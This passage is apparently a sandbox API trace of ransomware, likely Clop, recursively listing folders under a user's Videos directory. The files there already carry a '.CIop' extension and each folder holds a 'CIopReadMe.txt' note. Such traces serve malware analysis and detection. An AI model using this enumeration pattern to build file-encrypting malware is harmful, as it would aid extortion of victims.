(lpString=".CIop") returned 5 [0128.305] FindNextFileW (in: hFindFile=0x67dbf8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.305] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 1 [0128.305] FindClose (in: hFindFile=0x67dbf8 | out: hFindFile=0x67dbf8) returned 0 [0128.305] lstrcpyW (in: lpString1=0x2dc51c0, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp" [0128.305] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*" [0128.305] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp\\*.*", lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0x67e2b8 [0128.306] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\wNN lOPK\\ugEH\\VAlp") returned="VAlp" [0128.306] lstrcpyW (in: lpString1=0x2dc37a4, lpString2="VAlp" | out: lpString1="VAlp") returned="VAlp" [0128.306] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.306] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.306] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.306] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 1 [0128.306] FindNextFileW (in: hFindFile=0x67e2b8, lpFindFileData=0x2dc4340 | out: lpFindFileData=0x2dc4340) returned 0 [0128.306] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 1 [0128.306] FindClose (in: hFindFile=0x67e2b8 | out: hFindFile=0x67e2b8) returned 0 [0128.306] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.306] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0128.306] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0128.306] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.306] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.306] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.306] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.306] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.306] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2="..") returned 1 [0128.306] lstrcmpW (lpString1="XtvCrj2M0wzyx7ebEjj", lpString2=".") returned 1 [0128.306] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos" [0128.306] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\" [0128.306] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\", lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0128.306] SetErrorMode (uMode=0x1) returned 0x1 [0128.307] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0128.307] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0128.307] lstrcpyW (in: lpString1=0x2dc8620, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0128.307] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0128.307] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.307] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0128.307] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0128.307] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.307] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.307] lstrcmpW (lpString1="4ioWuMxhZ Ndf1N_b.flv.CIop", lpString2="..") returned 1 [0128.307] lstrcmpW (lpString1="4ioWuMxhZ Ndf1N_b.flv.CIop", lpString2=".") returned 1 [0128.307] lstrlenW (lpString=".CIop") returned 5 [0128.307] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.307] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.307] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.307] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.307] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.307] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.307] lstrcmpW (lpString1="oJoLhaSYb.mkv.CIop", lpString2="..") returned 1 [0128.307] lstrcmpW (lpString1="oJoLhaSYb.mkv.CIop", lpString2=".") returned 1 [0128.307] lstrlenW (lpString=".CIop") returned 5 [0128.307] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.307] lstrcmpW (lpString1="pB rGU0A_4l5KRvtZ sr.mp4.CIop", lpString2="..") returned 1 [0128.307] lstrcmpW (lpString1="pB rGU0A_4l5KRvtZ sr.mp4.CIop", lpString2=".") returned 1 [0128.307] lstrlenW (lpString=".CIop") returned 5 [0128.307] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.307] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.307] lstrcmpW (lpString1="_F8m3hu10142ds4cz1.avi.CIop", lpString2="..") returned 1 [0128.307] lstrcmpW (lpString1="_F8m3hu10142ds4cz1.avi.CIop", lpString2=".") returned 1 [0128.307] lstrlenW (lpString=".CIop") returned 5 [0128.307] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.307] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.307] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.307] lstrcpyW (in: lpString1=0x2dc8a30, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0128.307] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*" [0128.307] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\*.*", lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0x67e478 [0128.308] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0128.308] lstrcpyW (in: lpString1=0x2dc7014, lpString2="XtvCrj2M0wzyx7ebEjj" | out: lpString1="XtvCrj2M0wzyx7ebEjj") returned="XtvCrj2M0wzyx7ebEjj" [0128.308] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.308] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.308] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.308] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.308] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.308] lstrcmpW (lpString1="hpUT", lpString2="..") returned 1 [0128.308] lstrcmpW (lpString1="hpUT", lpString2=".") returned 1 [0128.308] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0128.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0128.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0128.308] SetErrorMode (uMode=0x1) returned 0x1 [0128.308] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0128.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0128.308] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\" [0128.308] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0128.308] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67db78 [0128.308] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0128.308] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0128.308] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.308] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.308] lstrcmpW (lpString1="0_psbc9.avi.CIop", lpString2="..") returned 1 [0128.308] lstrcmpW (lpString1="0_psbc9.avi.CIop", lpString2=".") returned 1 [0128.308] lstrlenW (lpString=".CIop") returned 5 [0128.308] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.308] lstrcmpW (lpString1="3m7QHv7T5mGuFh2A31Q.avi.CIop", lpString2="..") returned 1 [0128.308] lstrcmpW (lpString1="3m7QHv7T5mGuFh2A31Q.avi.CIop", lpString2=".") returned 1 [0128.308] lstrlenW (lpString=".CIop") returned 5 [0128.308] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.308] lstrcmpW (lpString1="4xODVA0z5L5w0l.mkv.CIop", lpString2="..") returned 1 [0128.308] lstrcmpW (lpString1="4xODVA0z5L5w0l.mkv.CIop", lpString2=".") returned 1 [0128.308] lstrlenW (lpString=".CIop") returned 5 [0128.308] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.308] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.308] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.308] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.308] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.308] lstrcmpW (lpString1="H9o_U92tz2Ho9-mh.swf.CIop", lpString2="..") returned 1 [0128.308] lstrcmpW (lpString1="H9o_U92tz2Ho9-mh.swf.CIop", lpString2=".") returned 1 [0128.308] lstrlenW (lpString=".CIop") returned 5 [0128.308] FindNextFileW (in: hFindFile=0x67db78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.309] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 1 [0128.309] FindClose (in: hFindFile=0x67db78 | out: hFindFile=0x67db78) returned 0 [0128.309] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT" [0128.309] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*" [0128.309] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0b8 [0128.309] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\hpUT") returned="hpUT" [0128.309] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="hpUT" | out: lpString1="hpUT") returned="hpUT" [0128.309] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.309] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.309] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.309] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.309] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.309] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.309] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.309] FindNextFileW (in: hFindFile=0x67e0b8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.309] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 1 [0128.309] FindClose (in: hFindFile=0x67e0b8 | out: hFindFile=0x67e0b8) returned 0 [0128.309] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.309] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.309] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.309] lstrcmpW (lpString1="pQzyM", lpString2="..") returned 1 [0128.309] lstrcmpW (lpString1="pQzyM", lpString2=".") returned 1 [0128.309] lstrcpyW (in: lpString1=0x2dc8210, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj" [0128.309] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\" [0128.309] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\", lpString2="pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0128.309] SetErrorMode (uMode=0x1) returned 0x1 [0128.309] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0128.309] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0128.310] lstrcpyW (in: lpString1=0x2dc69e8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\" [0128.310] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\", lpString2="*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0128.310] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67dd78 [0128.310] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0128.310] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0128.310] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.310] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.310] lstrcmpW (lpString1="34Z4dfhq5fY_tfB.mkv.CIop", lpString2="..") returned 1 [0128.310] lstrcmpW (lpString1="34Z4dfhq5fY_tfB.mkv.CIop", lpString2=".") returned 1 [0128.310] lstrlenW (lpString=".CIop") returned 5 [0128.310] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.310] lstrcmpW (lpString1="bvv97LkO.swf.CIop", lpString2="..") returned 1 [0128.310] lstrcmpW (lpString1="bvv97LkO.swf.CIop", lpString2=".") returned 1 [0128.310] lstrlenW (lpString=".CIop") returned 5 [0128.310] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.310] lstrcmpW (lpString1="CIopReadMe.txt", lpString2="..") returned 1 [0128.310] lstrcmpW (lpString1="CIopReadMe.txt", lpString2=".") returned 1 [0128.310] lstrlenW (lpString="CIopReadMe.txt") returned 14 [0128.310] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.310] lstrcmpW (lpString1="w w7R5kGwiD8.mkv.CIop", lpString2="..") returned 1 [0128.310] lstrcmpW (lpString1="w w7R5kGwiD8.mkv.CIop", lpString2=".") returned 1 [0128.310] lstrlenW (lpString=".CIop") returned 5 [0128.310] FindNextFileW (in: hFindFile=0x67dd78, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.310] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 1 [0128.310] FindClose (in: hFindFile=0x67dd78 | out: hFindFile=0x67dd78) returned 0 [0128.310] lstrcpyW (in: lpString1=0x2dc6df8, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM" [0128.310] lstrcatW (in: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM", lpString2="\\*.*" | out: lpString1="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*") returned="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*" [0128.311] FindFirstFileW (in: lpFileName="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM\\*.*", lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0x67e0f8 [0128.311] PathFindFileNameW (pszPath="C:\\Users\\CIiHmnxMn6Ps\\Videos\\XtvCrj2M0wzyx7ebEjj\\pQzyM") returned="pQzyM" [0128.311] lstrcpyW (in: lpString1=0x2dc53dc, lpString2="pQzyM" | out: lpString1="pQzyM") returned="pQzyM" [0128.311] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.311] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0128.311] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.311] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.311] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.311] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 1 [0128.311] FindNextFileW (in: hFindFile=0x67e0f8, lpFindFileData=0x2dc5f78 | out: lpFindFileData=0x2dc5f78) returned 0 [0128.311] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 1 [0128.311] FindClose (in: hFindFile=0x67e0f8 | out: hFindFile=0x67e0f8) returned 0 [0128.311] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 1 [0128.311] FindNextFileW (in: hFindFile=0x67e478, lpFindFileData=0x2dc7bb0 | out: lpFindFileData=0x2dc7bb0) returned 0 [0128.311] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 1 [0128.311] FindClose (in: hFindFile=0x67e478 | out: hFindFile=0x67e478) returned 0 [0128.311] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.311] FindNextFileW (in: hFindFile=0x67e3f8, lpFindFileData=0x2dc97e8 | out: lpFindFileData=0x2dc97e8) returned 1 [0128.311] lstrcmpW (lpString1="_eEl", lpString2="..") returned 1 [0128.311] lstrcmpW (lpString1="_eEl", lpString2=".") returned 1 [0128.311] lstrcpyW (in: lpString1=0x2dc9e48, lpString2="C:\\Users\\CIiHmnxMn6Ps\\Videos" | out: 